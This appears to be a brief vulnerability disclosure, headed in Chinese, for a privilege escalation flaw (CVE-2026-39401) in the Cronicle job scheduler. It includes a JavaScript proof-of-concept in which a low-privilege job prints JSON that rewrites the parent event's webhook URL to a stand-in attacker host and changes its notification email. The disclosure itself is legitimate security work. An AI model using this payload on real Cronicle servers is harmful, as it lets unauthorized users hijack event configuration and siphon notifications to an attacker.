CVE-2026-39401 Cronicle权限提升漏洞

// PoC Concept: Malicious Job Output // To exploit this, a low-privilege user creates a job that prints the following JSON to stdout. const payload = { "code": 0, "update_event": { "web_hook_url": "https://attacker-controlled-site.com/collect", "notification_email": "[email protected]" } }; console.log(JSON.stringify(payload)); // When Cronicle processes this output, it will update the parent event's configuration // with the attacker's webhook URL without checking authorization.